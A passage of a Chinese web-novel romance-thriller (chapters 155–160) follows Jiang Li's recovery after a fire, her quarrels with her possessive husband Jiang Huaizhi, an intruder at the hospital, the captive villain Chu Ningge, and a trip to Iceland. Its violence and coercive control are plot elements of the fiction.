“姜梨,江淮之对你的爱,真的比你想的要多得多。” 第155章 站在她病床旁边的人 洛骞走后,江淮之就进来了,谢铭搀扶着他走到了床边,拉过旁边的椅子,让他坐下,然后就退了出去,关上了门。 江淮之也穿着病号服,瘦了一大圈,皮肤是没有血色的白,平常潋滟的唇色也变得很淡。 头发有些长了,嘴边冒出来一圈青茬,看着虚弱又憔悴。 他的手掌没裹纱布,但是透过敞开的领口看到他的上半身缠满了绷带,是全身都被烫到了吗?为什么他会突然来到港城?还有那个和他一起冲进火场的人是谁? 姜梨张嘴想问他,喉咙却像是堵了一团棉花,又酸又胀,发不出声音。 “跟我一起去救你的是谢鹤扬,除了沈月汐,会场里还有两具一男一女的尸体。”江淮之的语气没有生气,也没有其他别的情绪,很淡,比他跟谢铭说工作的时候还要淡,“经过法医鉴定,两具尸体确认是纪繁星和谢鹤扬本人,谢家已经认领,并且举办了葬礼,世人皆知。” 他已经知道了所有事情的来龙去脉。 “你的目的达到了。” 甩出各种铁证,将沈楚两家的罪状公之于众,为纪家洗清了冤屈,让沈月汐死在了那场爆炸里,让纪繁星和谢鹤扬金蝉脱壳,在谢鹤枭动手之前就让他们假死逃跑,安全脱身,设计楚柠歌让她亲手按下了遥控器犯下罪。 这一场巨大火灾,当真是没有放过一个该死的鬼。 她就在他眼皮子底下,跟这些所谓的帮手,演了这么一出戏。所有人都活着出来了,她自己差点死在里面。 江淮之问她:“你还想做什么?还有什么事没告诉我?” 姜梨摇头,没有了。 都这个时候了,她还要继续撒谎。 “我只是说谢鹤扬没死在火里,但我没说他和不知去向的纪繁星在一起,他现在在我的手里。”江淮之心血翻涌,太阳穴“突突”跳了两下,面上还是维持着平静,“就你相信的这一群人,差一点让你死在那里面,你觉得我会放过他们吗?” 姜梨一顿,这是什么意思? “你要是不说实话,还要继续骗我。沈翊、叶辞、谢鹤扬,一个都别想跑。” 气氛开始凝固,极速下降至冰点。 “火是我让沈翊放的,是我让他们先走的,这个计划也是我最先提出来的。”姜梨掀起眼皮看向他的眼睛,“我会被留下来是意外,跟他们任何人都没有关系,我们的事情你为什么要迁怒其他人?” “那你说我该找谁?你要是真死在里面了,我要去找谁?” “我骗你又怎么样?你没骗我吗?我也没有要拿别人威胁你来逼你告诉我真相吧?”姜梨被他这样的做法给气到了,脾气开始上头。 “从我决定去港城的那一刻起,我就没想过要活着出来,我知道神明永远都不会站在我这边,所以我能接受所有计划之外的意外。以牙还牙以眼还眼,只要那些人都受到应有的惩罚,我这条踩在别人尸骨上才多出来的命就算没了又怎么样?!” 她的每一句话无疑都是在江淮之的雷区上蹦迪,他就这么坐在椅子上,抬起手就朝着姜梨的脸上打过去。 姜梨下意识闭眼,但是没有躲。 预想的疼痛并没有传来。 椅子被拉开,发出刺耳的摩擦声,江淮之一声不吭的离开了病房。 洛骞看到江淮之黑着一张脸出来,愣了半天。 这是吵架了,还是很严重的那种。 不是,谁家夫妻双双昏迷两个月醒来以后就去吵架的?难道不是互相安慰,亲亲抱抱举高高吗? 一整天江淮之都没再来过,一直都是洛骞看着她,姜梨的手还不太方便,连吃饭都是他帮的忙。 后来谢铭送来了一部新的手机和ipad,但是都没有联网,也没有电话卡,只有提前下载好的音乐和影视剧。 明摆着就是不让她跟外界的人联系。 姜梨开始问洛骞江淮之的伤势,以及谢鹤扬是不是真的被江淮之关起来了。 洛骞在削苹果,他连眼睛都没抬,只说:“现在外界传的是你和江淮之无法苏醒,医院是韩家安排的私人医院,你们没事的消息对外是封锁的。他的伤势很严重是真的,你要是担心的话就去看看他。” 韩家。 也是了,江淮之是韩家的家主,出了这么大的事,怎么可能会不管。 姜梨再次问了一遍:“谢鹤扬呢?” 洛骞继续王顾左右而言他:“苹果给你切条还是切块?” 很明显,他就是不愿意回答她的问题。 姜梨突然觉得有些无力,闭上眼睛没了声音。 接下来的两天里都是一如既往,每天来看她的只有洛骞一个人,会带护士过来给她换药。姜梨大概还是有些发虚,晚上睡觉的时候总会觉得有人盯着自己,梦里又梦到了姜祈安,虽然只出现了一秒。 凌晨一点,病房里寂静无声,床头开着暗灯,姜梨爬起来找水喝。 想起洛骞前两天说的话,姜梨放下水杯往外走。 她刚开门就看到外面站着的江淮之。 “你做什么?”他低头看着她,眼神和语气都是一片凉意。 姜梨闷声回答他:“喝水,睡不着就想去溜达溜达。” 江淮之清寒的眸子泛冷,薄唇轻启吐出两个字:“回去。” 姜梨低声嗯一声,然后重新躺回了床上,闭上眼睛小憩,没过多久就进入了浅眠。 凌晨三点多,姜梨突然觉得脸颊有些凉嗖嗖的,她睁开眼睛,看到了站在床旁边的包裹得严严实实的一个男人,他的手指在摸她的脸。 “啊!!!”姜梨被吓得失声尖叫,立刻蹬开被子翻身爬起来,抄起旁边柜子上放着的玻璃杯就朝着他砸了过去。 男人也没想到她会是醒着的,躲闪不及被玻璃杯砸到闷哼了一声。 这里是医院,是十一楼,为什么会有人能从外面进她的病房?洛骞说他们封锁了消息,没人知道他们在这里。 那这个人是谁?是谁?! 姜梨被吓得魂飞魄散,一边往外跑一边大声喊:“江淮之!江淮之!!” 第156章 嘴强王者 江淮之也没能睡着,在听到玻璃砸在地上的时候就跑了出去,姜梨连鞋都没来得及穿,跌跌撞撞的扑到了他身上。 “有人!有人翻窗进来了!他摸我!” 黑暗的楼层瞬间大亮,谢铭带着一群人进入病房查看时已经空无一人,只有大开的窗户,被风吹起来的窗帘证明真的有人来过。 洛骞去查监控时确实看到有个包裹严实的人从十一楼翻下来逃走了,身手非常好,是个练家子。 顺着查却再也查不到这个人的踪迹,他非常熟悉这个医院的环境,一路上都在躲避摄像头。 他回来的时候姜梨被带到了江淮之的病房,护士在帮她处理脚底的伤口。 姜梨被吓到了,跑出来的时候没有穿鞋,脚底踩到了碎掉的玻璃碴子,被划破了,脸白的像纸,身体都在颤。 待护士离开以后,洛骞把监控上看到的阐述了一遍,病房里一下子陷入了诡异的安静。 一个大活人,明目张胆、目的性十足的爬进姜梨的房间,还能在满是监控的医院里凭空消失,找不到踪迹。 还真是见了鬼了。 更奇怪的是他怎么知道姜梨会在这个医院里,又怎么会这么准确的知道她的房间号? 他们这一层楼对外都是关闭的,知道的总共也就那么几个人。显而易见,韩家还有奸细。 江淮之沉声道:“这里不能再待了,我和姜梨两天后就走。” “走?走哪?” “冰岛。” 姜梨听到他说出来的地名,心口跳了一下。江淮之之前说过,除夕过后要带她去。 洛骞看向他,并不是很赞同,“你伤得很重,就算恢复的很好也不能这么作。退一步,你的身体素质好,姜梨不行,你们两个现在还不能离开医院。” 现在都受着伤,在暗处的歹人要弄死在明处的他们不要太简单,港城太危险。 江淮之已经想好了对策,“陆家在冰岛有医疗机构,我会让陆七安排,等我们伤好了再回港城。” 都把陆七搬出来了,洛骞还能说什么? 洛骞看了一眼姜梨,“我是她的心理医生,我要跟着你们一起去,到时候就让韩斯年对韩家和外界的人说,你们病情反复,国内的医疗水平有限,我把你们弄到了我的老家医治。” 这样确实没毛病。 “还有,我没有当电灯泡的癖好。”洛骞又补了一句。 江淮之应了下来,然后让谢铭去联系陆七。 事件来得快,处理得也很快,一行人又全部退了出去,偌大的病房里只剩下姜梨和江淮之。 他走到窗边,抬起手直接锁上了,将窗帘拉得密不透风,然后坐到床沿上。 一直低头沉默不语的姜梨突然出声:“我前两天夜里也看到人了,跟今天晚上看到的不是同一个。我当时不是很清醒,加上他没有像今天这个人一样来碰我,我就以为我在做梦,看到了幻觉。” 还有这么一回事? 江淮之皱眉,语气比起前两天要缓和很多,“长相看清了么?” 姜梨摇摇头,他们的相同点就是都把自己裹得严严实实的,怎么能看得清? “那你怎么知道不是同一个人的?” 姜梨眼神微微闪了一下,小声道:“直觉。” 她两个月没有走动过,一直躺在这里,脸白的几近透明。刚刚被这么一吓,脸色更是难看,像一枝细柳,轻轻一折就断了,好不可怜。 “会不会是沈叙?或者是楚家人?” 姜梨还不知道外面是个什么情况,也不确定沈家和楚家有没有落网?她现在什么都不知道。 江淮之半垂着眼皮,长睫下压,在眼下投落了一片黑影,没有回答她的问题,而是对她道:“睡觉吧,外面有谢铭和宋折他们,窗户我也锁上了。” 他还在生气。 姜梨吐出一口浊气,忍着不控诉他的所作所为,一言不发的躺下,还往旁边挪了一点,给他腾出位置。 两个人就这样井水不犯河水,没有任何肢体接触的躺了一个晚上。 港城这两天的天气很好,太阳透过窗户洒进病房,暖融融的。 她脚底的伤不重,但是下地走路会疼,就一直躺在病床上,眼睛一眨不眨的盯着窗外看。 洛骞和江淮之站在外面,看到病房里一动不动的姜梨,他转头对江淮之说:“今天天气挺好的,可以带她下去晒晒太阳,做点防护,不会有人认出来。” 江淮之拒绝他的提议,“在我眼皮子底下都能一声不响的跑来港城整出这么一场大戏,谁知道她现在心里想的是什么,出了这个病房还会不会想方设法的逃。” 好吧,姜梨这是给他整得ptsd了。 “对了。”洛骞突然想起来一件事,“入院的时候我给她做过检查,血检报告显示锂浓度非常低,她在之前就私自断药有一段时间了,这事你知道吗?” 答案显而易见,江淮之并不知道。 姜梨当时跟他说的是忘记带了,跟他耍赖又撒娇,他就信了。还跟她说下不为例,她乖巧的满口答应。 结果就是这样。 江淮之冷笑了一声:“一只不听话的野猫,就应该早点拔光她的牙齿和指甲,剔掉她的逆骨。” 走进去时在旁边的柜子上拿了什么,洛骞嘴角抽了一下,听他说这种话,不知道的还以为他真是拿了一把剔骨刀去收拾人的。 结果拿的是一把梳子。 拔牙剔骨=给她梳头。 说着最狠的话,做着最怂的事儿=江淮之本人,好好好,嘴强王者本尊。 洛骞:“……….” 他没有关门,洛骞听到姜梨问了一句:“你会吗?扯到头发的话会很痛。” 江淮之让她坐好,表情是照旧的冷,像一块千年寒冰,嗖嗖的散发着冷气。 手掌拢过她的长发,动作轻柔,有些毛躁的黑色长发在他手里一点点变得柔顺。 还顺手给她绑了一个松松的马尾,动作娴熟的像做过百八十遍。 窗外的阳光洒在他们身上,缎上了一层金色的薄纱,光晕柔和温暖,宛如一幅描绘岁月静好一双人的画卷。 第157章 我不是樱花 在安排好一切,启程前往冰岛的前两天,洛骞给两个病号安排了全身的检查,还要换药。 姜梨手臂上的纱布拆开,烧伤的地方以及被刀砍伤的地方都留了疤,从手背蔓延到小臂,摸上去也是皱巴巴的,她自己摸着,头皮都有些发麻。 不过没有伤到筋脉,行动自如。 而且洛骞虽然是心理医生,但是其他方面的医术也很了得,姜梨的伤口他处理的很好,疤痕增生不严重。 激光治疗完全可以去除。 “你过来一下,换药。”洛骞处理完姜梨,又抬手指了一下江淮之,然后让护士推车到隔壁。 这是要转移阵地? 姜梨到现在都还不知道江淮之到底伤到什么地步,没有人愿意告诉她。 自从那天他们吵过架之后,江淮之这几天跟她说话非常的惜字如金。她问了,他想回答就说几个字,不想回答的他就直接不理,比如像“你的伤很严重吗”“我可以看看吗”这样的问题。 就是不想让她知道。 姜梨出声:“在哪里换不是一样?” 洛骞看出她心里藏的小九九,伸出一根食指轻轻推了一下她的额头。 半开玩笑的跟她说:“青天白日的,你一个小姑娘注意点形象,等夜深人静了你怎么看都行。” 她哪里有这个意思啊! 姜梨被洛骞不正经的言论惊的瞪大了眼睛,然后气急败坏的推开他的手,“你胡说八道什么?” 江淮之冷冷扫了一眼洛骞的手,眼神锋利的像刀子。 洛骞一僵,轻咳了一声,领着人往外走。 姜梨坐不住,穿上鞋跟上他们,江淮之扭头瞥了她一眼,倒也没拦她,但是没让她进去。 谢铭和姜梨在外面等。 外面的衣服脱掉,背上和胳膊上都是大片的烧伤,肩部最为严重。尽管已经过了两个多月,还是没完全长好,背上原本完好无损的纹身也被破坏掉了,看着无比骇人。 不让姜梨看到也是有原因的,她会被吓到。 这么大的火,姜梨昏迷完全是因为吸入了大量的浓烟。她只受了点轻伤,是因为江淮之用自己的身体给她当了肉盾。江淮之昏迷这么久是实打实的因为这些烧伤,后来还总是感染,抢救室都进了两趟。 好在他自己身体素质过硬,这要换成其他人,真的要搭在里面。 能活着出来,两个人都没断手断腿,也是真的福大命大。 “疼了我揍你,手打断。” 洛骞还没开始上药,就听到江淮之说了这么一句话。 真是活爹。 他一个三十多岁的人了,本质上跟姜祈安就没什么区别。他还是一个心理医生,病人在他眼里就跟自己孩子没区别。 连这种醋江淮之都要吃,怎么不酸死他? “我说,你以后不会连自己孩子的醋都吃吧?”洛骞扔掉绷带,拿起镊子夹了消毒棉球,轻轻地往他背上擦,还不忘说话转移他的注意力,让他尽量不那么疼。 孩子……?江淮之身体僵了一下,一时间没能作出反应。 洛骞继续说:“我觉得姜梨挺招小孩儿喜欢的,她好像也挺喜欢小孩。” 江淮之皱眉。 小孩子爱哭爱闹,有的还很调皮,吵得没完没了,哪里有值得喜欢的地方? 两个人再出来的时候已经是一个小时以后了。 江淮之的脸色有些不太好看,有一种风一吹就要散的感觉。 上个药都这么久,伤口肯定严重。 姜梨抿了抿嘴,站到他旁边扶着他。 谢铭和洛骞很有眼力见的停在了外面,谢铭还给两个人关上了门。 姜梨扶着江淮之躺到床上,给他盖上被子,然后倒了一杯热水,又倒出一把药,全部递给他。 江淮之吃完,把空杯子放到了床头。眼睛瞥向姜梨手上的痕迹,问了她一句:“疼吗?” “不疼。”姜梨把手缩进了衣袖里。 “上来。”江淮之拍了拍旁边。 姜梨摇了摇头:“我不困。” 江淮之没有再说什么,把那个没有联网的平板递给她,然后躺平闭上了眼睛。 过了大概四十分钟,姜梨听到传来的匀称的呼吸声,确定江淮之睡着了以后,她关掉平板,小心翼翼的伸出手想去掀开他的衣袖,看他的伤势。 手指才刚摸到衣袖的布料,就被反手握住了手腕,姜梨被吓了一跳,瞪大眼睛难以置信的看向江淮之,“你装睡?” “所以你要干什么?”江淮之捏着她的手腕,手掌感受到了上面的凹凸不平,眼底微微一暗,指腹轻轻蹭了一下。 姜梨把手抽回来,“没什么,想看看你的伤势。” “没什么好看的。” 空气安静了两分钟,姜梨低着头,闷声说了一句:“那我想看沈翊和谢鹤扬。” 自从她醒过来,沈翊就再也没有出现过,想到那天江淮之爆揍他的画面,再加上江淮之跟她说不会放过他们的话,姜梨心里有点没底。 江淮之表情不变,“你有什么话想说就直接告诉我,我让谢铭帮你转述给他们。” 姜梨:“我没有话要跟他们说,就只想看他们一眼。” 江淮之盯着她看了两秒,似笑非笑道:“事到如今,你觉得我会无条件答应你这种要求吗?放你去和他们暗送秋波,继续实行你们的下一步计划?” 姜梨皱眉:“我说了没有。” “我不信你。” 空气像是在一瞬间凝固,结成了冰。姜梨看着江淮之,眼睫轻颤,“现在已经是三月份了,过去了两个月,时愿呢?你跟她以前爱的死去活来的,你醒过来以后没有告诉她你的情况吗?她一个人在樱洲会很孤单,你没有让人把她接过来吗?” “你总说你是因为有事情要做才把她留在身边,你总说你只喜欢我一个,但是后来我听到的跟你说的又完全不同。” “你怪我宁愿相信沈翊和谢鹤扬也不愿意信你,我问你的一些事情你告诉我真相了吗?你不是现在才不信我的,你是从头到尾都没信过我,所以一句实话都不肯说,那我又凭什么信你?” 说完姜梨就站起来想走,却被江淮之抓住了。 “继承文书是你拿走的。” 姜梨没吭声。 江淮之:“只要你说实话,我可以带你去看沈翊和谢鹤扬。” 姜梨闻言深吸了一口气,然后承认了:“继承文书的确是我拿走的。韩家族谱的秘密、韩斯年的身份,还有你的身份,我全部都知道了。” “但我不是樱花。” 第158章 你还要逃到他身边 江淮之带着姜梨进了私人电梯,去了地下负三层。 电梯门打开,外面不是停车场,灯开的很亮,地上还铺了地毯。 如果不是因为知道这里是医院的负三层,姜梨会以为这里是某个高级酒店。 偌大的负三层就只有一扇门,门上有类似于家徽的图案,锁是指纹锁。 随着门缓缓打开,姜梨听到了几声虚弱的闷哼声,她的大脑里当即就想到了沈翊和谢鹤扬被关在地下室里折磨的画面。 脸色一白,心急如焚的小跑着进去。 里面倒是被隔出来了几个单间,还配了一个客厅,摆放了许多的绿植。这里除了没有窗户,跟普通的公寓没有这么区别,生活痕迹也很明显,是有人住在这里的。 那刚刚的惨叫声是怎么回事?这里也不像是关人的地方。 江淮之坐到了沙发上,对姜梨道:“坐下。” 姜梨没过去,皱着眉:“我刚刚听到声音了,惨叫声。” “这么害怕?”江淮之看她一脸紧张的样子,语气有些冷,“你是担心沈翊多一点,还是担心谢鹤扬多一点?” 他还没有忘记谢鹤枭说过的,姜梨很快就是谢家人的话。 姜梨眉心皱的更深,没有回答他这个有毛病的问题。 江淮之冷笑了一声,重复了一遍:“过来,坐下。我已经叫人带他们来了,别总是因为别人就这么凶的看着我。” 姜梨坐在了另一边。 五分钟后,一扇门被人推开,走出来的人是宋折,还有沈翊。 两个人拖着一个奄奄一息的女人,直接扔到了姜梨和江淮之的跟前。 她摔趴在地上,身上穿着满是污血的衣服,头发像一顶枯草,裸露在外面的皮肤布满了一道一道的血痕,喉咙里发出难听的呜咽声。 是楚柠歌! “姜……姜梨!”楚柠歌看到姜梨那张脸,原本就因为伤痛而狰狞的面孔变得更加可怖,她的眼球充血外凸,满眼都是憎恨,“你没死!你没死!?你怎么会没死!” “你为什么没死!你凭什么没死!” 她努力撑起身体,抬起胳膊就要去抓姜梨的裤子,沈翊看到后立马上前摁住她,然后“啧”了一声,不满的看了眼宋折。 早就说了要把她捆起来,非不听。 姜梨看着被压在地上的人,不管是她现在这副模样,还是她说出来的话,都已经让姜梨感觉到生理不适了。 他们想害她,她就必须乖乖就范吗? “她凭什么没死?”她凭什么要死。 楚柠歌原本都已经奄奄一息了,但是看到姜梨就跟打了兴奋剂一样,又回到了他们第一天抓住她的状态,都有了挣扎的力气,“你勒索我!勒索我一千万!还让这些人非法囚禁我!这是犯法!是要坐牢的!” 有五百万是沈月汐骗的,这也要算在她头上吗? “那是掩埋你罪证的封口费,你给了钱以后我再也没有威胁过你,这算什么勒索?”姜梨低眼看着她,淡淡出声:“炸弹是你和沈月汐在地下市场买的,也是你给沈月汐下的安眠药把她锁在了休息室,是你先想杀人灭口的,遥控也是你自己亲手按的,没有人逼你,全是你自己的选择。” “现在外面满大街估计都是你的通缉令。你现在是背负了三条人命的杀人犯,一旦被抓到就会被立马枪毙。我们也不是非法囚禁,我们这是为民除害。” 纪繁星、谢鹤扬,沈月汐。 硬要算的话应该是四条,还有那个没能出生,却已经成型了的孩子。 都是她蓄意谋杀的战绩。 楚柠歌崩溃大叫,“要不是你威胁我!我怎么会做出这种事情!十几年前的事情你为什么现在还要拿出来说!” “十几年,大家都已经认为是你做的,你现在为什么要说出来!你有姜祈安为你善后,也不过是被人诟病几句而已,并没有受到什么实质性的惩罚。” “但是我!”楚柠歌愤恨的看着姜梨,眼泪流个不停,好似受了天大的委屈一般控诉:“我什么都没有!本来我妈就不喜欢我,她还只是一个妾,我在楚家一直都低人一等,如果她再生个儿子出来,就更加不会重视我!她和爸爸知道是我害的她流产,我的下场有多惨你知道吗!我会没命的!” 宋折都被她这番言论给震惊到了,这是一个什么样的渣滓三观啊?天底下怎么会有这么恶心的人? 为了一己私欲要害人的是楚柠歌,凭什么要她来背锅? 楚四夫人不喜欢楚柠歌,难道楚云就很喜欢她吗?她会因为这件事情而没命,难道她姜梨就不会吗? 年仅五岁的她,因为这件事情再一次加深了楚家人和楚云对她的不喜,自此以后她的日子每一天都过得无比艰难。 爹不疼娘不爱也就算了,还要被千夫所指,承受着歹毒、阴险、狡诈等等这些本就不属于她的骂名。 “啪”的一声,姜梨一巴掌甩到了她脸上。 “我是没受到实质性的惩罚,但那都是我哥用半条命替我扛下来的。”姜梨说着又是啪啪两巴掌,重重的打在了她脸上,“所以我说你又蠢又坏。如果你没有去推你妈妈,生下来的如果真的是个男孩,你妈的日子就会好过一点,你也会好过一点,那孩子将来也可以成为你的保护伞。” “楚柠歌,都是你活该。” 楚柠歌的嘴角挂了血,她尖叫了一声,“你又算是什么好东西!你有什么资格指责我!你明明早就有证据,却偏偏这个时候才想着拿出来!不就是想洗刷掉身上的污点好嫁给谢鹤扬,做谢家的二少奶奶吗?” 姜梨皱眉。 这他妈是个什么奇怪的脑回路?怎么扯到这上面了? 一直没什么反应的江淮之突然放下了交叠的双腿,看向楚柠歌的眼神像是看一个死人,“你这么喜欢提起这个死人,不如我帮你和他办一场冥婚?” 轻飘飘的一句话,让楚柠歌混身都在抖,嗫嚅着干裂出血的嘴唇,哆哆嗦嗦的说不出一句话。 她现在对江淮之,已经产生了直击灵魂深处的恐惧。 江淮之让宋折和沈翊把这个嘴巴吐不出象牙的女人给拖回了地窖,等晚上他再来作最后的处理。 等他们都走了以后,姜梨才咬牙切齿的对江淮之说:“你根本就没有抓到谢鹤扬,也没有要弄死他们,你骗我。” 江淮之脸不红心不跳,半点儿不觉得自己有什么问题,“我骗你也不是一天两天了,也不差这一次。” 他就是在故意诓她,让她亲口承认继承文书的事情!好一个狗男人! 还好她脾气够硬,刚刚只跟他说了这一件事,但是姜梨觉得自己被他耍了,气得想咬人。 但偏偏他现在是个伤员。 姜梨磨了一下牙齿,没好气的瞪了他一眼,然后一声不吭的朝外走。 刚走出去没几步,江淮之就追上来,从后面反扣住了她的肩膀,手轻轻掐住了她的脖子。 “你想要嫁给谢鹤扬?” “接下来你还要逃到他身边去是么?” 第159章 我想让我和他美满一些 脖颈被掐住,最重要也是最脆弱的大动脉被他压在手下,姜梨的身上窜起来一层细密的鸡皮疙瘩。 “回答我。” 明明看不见江淮之的表情,他说话的声音也还算平和,但她还是感觉到了刺骨的冷。 姜梨眼里划过一丝光,咬了咬后槽牙,“我没有想要嫁给他,当时是为了诓沈月汐才瞎扯了这么个理由,我也没想要跑。” “你最好是真的没有这些想法。”江淮之慢慢的松开她,在她耳边说了一句:“不然我就打断你的腿,把你关在这里面。” 地下层的温度本来就低,还很潮湿,风吹在身上有些冷嗖嗖的,听完江淮之说的话姜梨更是忍不住抖了一下。 姜梨从醒过来到现在也有一个多星期了,江淮之的变化她不是没有感觉到。 宋折和沈翊刚刚把楚柠歌带上来的时候身上非常干净,楚柠歌身上的血渍也都是干涸的状态,他们没动手。 人是江淮之抓的,动手的也只能是他。 刚刚姜梨就察觉到了,如果今天她不在场,在楚柠歌说完那些话,江淮之是想对她动手的。 他以前也从来没有说出过这种话来吓唬她,也没有像现在这样对她这么冷。 冰冷、阴沉、暴戾、易怒,江淮之现在就像完完全全的换了一个人。 对她的警觉性也已经到了离谱的地步。 每晚睡觉她只要稍微动一下,不论是睡觉正常的翻身,还是她起来喝水、上厕所,江淮之都会马上就醒过来,问她要去哪里、要干什么? 就算是她当时睡着了,他也会把她叫醒,还总是因为谢鹤扬生气。 过分警觉、敏感多疑、暴躁易怒,姜梨的脑子里瞬间出现了一串名词——偏执性人格障碍。 洛骞那里有司韩野的就诊记录,要找个机会去问问他。 姜梨和江淮之回到了十一层。 到下午的时候,姜梨拿着平板看剧,冷不丁的开口:“把楚柠歌交给谢鹤枭。” 不能像这样一直关着楚柠歌,一切都在按照她计划里想到的那样在转动,这么大的一场爆炸,人民群众肯定有恐慌情绪,港城警方现在应该在全城搜捕楚柠歌。 万一被警察找上门,搞不好还要给江淮之扣两顶高帽。窝藏罪犯、非法监禁,都是要吃牢饭的罪名。 但是直接交给警方又太便宜她了,反正纪繁星和谢鹤扬的“死”都是她造成的,还不如交给谢鹤枭处理。 也该让她尝一尝背黑锅,被人踩进泥土里的感觉。 江淮之听到姜梨的话愣了一下,然后唇角微微弯了弯,二梨的路子跟他是一样的,想到一起去了。 “听你的。”他淡淡回她。 在夜里九点多的时候,一辆黑车经过谢宅,车门拉开,楚柠歌就这样被扔到了大门口,粘稠猩红的液体不断从她身体里流出来,地面都被染红了一大片。 把人丢下去以后,宋折快速关上车门,抽出几张纸巾擦拭着手上沾到的血迹,满脸的嫌弃。 沈翊猛踩油门,疾驰离开。 无声无息的像没有来过。 …… 去冰岛只有洛骞和谢铭跟着。 在登机的时候,姜梨看着宋折,小声跟他说了句对不起。 她故意把他骗到那条巷子里,用电棍偷袭他。 宋折倒是没觉得有什么,只是觉得丢脸。 除了杀人放火,他在江城什么事没干过啊?哪次翻过车了? 这是第一次被女人骗,还是被一个大学都没毕业的小姑娘给骗了。 沈翊翻了个白眼,开始诉说自己的艰辛:“我扒他衣服假扮他,拿走了他的手机还黑了他的系统,他连带着你和谢鹤扬的那一份,都他妈在我身上还回来了,就差拿刀捅我了。” 干坏事的时候是一起干的,还债是他一个人还,惨死了。 姜梨“啊”了一声,上下打量了一下沈翊,然后继续往他心口戳刀子,“看不出来你还挺抗揍的。” 被江淮之爆揍,还被宋折给揍了一顿,结果还是生龙活虎的,可不就是肉厚抗揍吗? 沈翊被她损也不是一天两天了,已经生出了免疫系统,他还嘴,而是意味深长的跟姜梨说:“你好好在江淮之身边待着吧,累了三年,该歇歇了。” 姜梨眼神暗了暗,然后笑着点了一下头,“谢谢二哥。” 沈翊扬了扬下巴,“去吧。” 飞机缓慢起飞,然后冲上云霄,一条白线划破天际。 自此分别,分道扬镳。 从国内到冰岛,他们在天上飞了13个小时。 姜梨和江淮之直接去陆七事先安排好的医院做了全套的检查,已经不用再住在医院里。 听到结果的姜梨松了口气,她十几岁的时候实在是在疗养院被关的太久了,导致她对医院都有一种非常强烈的排斥情绪,待太久会觉得恶心。 四个人在酒店安顿了下来,然后江淮之带着姜梨去了南诗奕和陆璟现在所在的墓地。 墓园里静悄悄的,没有人。 南诗奕去世五年,陆璟去世七年,这还是姜梨第一次来看他们。 时间太久了,她已经记不清陆璟的长相了,他对她很好,跟姜祈安一样,很有哥哥的感觉。 姜梨抬起手,轻轻摸了一下上面雕刻的字体,平静又温和的说完了陆诗予和司家人的下场,然后看了一眼站在离她不远处的江淮之。 “我之前跟你说我暗恋的那个人,我和他现在结婚了。但是我想他和我原本就有些破碎的人生都能变得美满一些,所以我们离幸福还差一步之遥。”姜梨吸了一口气,眼眶有些红,她看着墓碑笑了笑,“阿南和陆璟大哥在那边一定要幸福美满,祝你们,也祝我们。” 江淮之没有去听姜梨在墓碑前说了什么,他其实不太能理解对着冰冷的墓碑倾诉衷肠有什么意义,人死了就不会听得到活者的祈祷、忏悔和祝福。 但是姜梨说她想看南诗奕,这对她来说好像很重要。江淮之就想和她一起来,陪她。 但又不想让姜梨察觉到他有这种不太尽人意的想法,所以就象征性的在陆璟和南诗奕的墓前放了两束白色的花。 姜梨再回来的时候眼睛和鼻子都有些红红的,她仰头看着他,“等从冰岛回去了,我还想去寺庙上柱香。” 江淮之牵住她的手,温声应了好。 第160章 你这是在做梦 他们去了斯科加瀑布、黑沙滩,还有蓝冰洞,在雷克雅未克看到了漂亮的极光。 在黑沙滩的时候,姜梨还被两个冰岛本地人夸了一顿,说她长得很漂亮。 冰岛这边是有本土语言的,但是他们认出来姜梨是亚洲人,所以说的是英语。 “你男朋友也很帅。” 姜梨笑着用英语跟他们说了句谢谢。 江淮之的视线一直在她身上,她今天心情不错,肤色也难得有了一点血气,笑起来眼睛就会弯成一对月牙,眉目如画,是很漂亮。 “不是男朋友。”江淮之抬起眼睛看向那两个北欧人,纠正道:“她是我的妻子。” 两个人一愣,似是没想到两个这么年轻的人居然已经结婚了。反应过来以后就开始送上祝福,同时又夸了姜梨一句:“你的妻子很漂亮。” 妻子这个词,本来就很容易让人心颤,尤其是从江淮之的嘴里说出来。 他以前对别人说的是,这是我妹妹。 而现在,他跟别人说,她是我的妻子。 姜梨的脸和耳尖都染上了一层薄红,心也滚烫烫的。 从这些地方回来才去医院做激光手术祛疤。 做了几次,效果还挺好的,背上、手上的疤痕都淡化了很多,凹凸不平的触感也没有了,算得上平滑。 趁着江淮之不在,只有洛骞和她两个人的时候,姜梨直接跟他说:“我在你的电脑上看到有司韩野的就诊记录了,我也知道司韩野就是江淮之了,我想问他得的什么病?严重吗?” “这是病人隐私,我不能说。”洛骞果断摇头,很干脆的拒绝回答。 姜梨“啧”了一声,把自己的猜想抛了出来:“是不是ppd?”(偏执性人格障碍) 洛骞挑了一下眉,然后晦暗不明道:“你与其纠结这个,还不如老实一点别气他。像这次这个爆炸,你要是真死在里面了,那些帮过你的人、知情的人都得死,江淮之也不会独活。” 什么跟什么?怎么就要因为她死了就不活了?他这么优秀,他的世界又不是只有她一个人。 洛骞一眼看穿姜梨的想法,他叹了口气,对她说:“别说是你死了,你就算是不在他身边,他都会发疯。” 姜梨低下眼皮,掩住眼眸里暗藏的情绪,没有吭声。 治疗结束,回到了酒店。 这边气候偏低,姜梨的膝盖又贴上了药膏贴,因为药膏的成分是宋枝自己独创的,在外面买不到相同的,就让她邮寄了过来。 江淮之去了浴室洗澡,姜梨一个人坐在沙发上发呆。她还没忘记答应叶辞的事情,会跟他通电话报平安,还要拜托他好好照顾疗养院里的病人。 她的手机在那场爆炸里毁坏了,电脑和所有随身物品都不知道被江淮之放在了哪里? 姜梨的脑子突然想到了什么,眼神逐渐聚焦。她轻手轻脚的进了卧室,在床头柜上看到了江淮之的手机。 浴室里的水声没有停,淅淅沥沥的传进耳朵里,江淮之才进去不久,一时半会儿不会出来。 于是姜梨快速的拿起手机,江淮之没有设密码,她顺利的解了锁。 发现他的手机非常干净,什么乱七八糟的软件都没有,连微信都没安装。 姜梨现在也没那个闲工夫去管新闻什么的,直接点进了拨号页面,输入了叶辞的号码。 她特意背过,记得很清楚。 但因为要注意浴室的水声是不是停了,再加上有点紧张导致手指有些颤抖,输错了好几个数字。 就在她要按下拨通键的时候,头顶突然响起来了江淮之的声音:“你在看什么?” 姜梨被吓得一抖,身体变得无比僵硬,不敢转头看他。 江淮之的嘴唇拉的笔直,伸手从她身后绕过去,从她手里把手机抽出来扫了一眼。 “呵。”看清那串数字他冷笑了一声,“怎么着?背着我跟他打电话,要密谋什么?” 是叶辞,她要跟叶辞打电话。 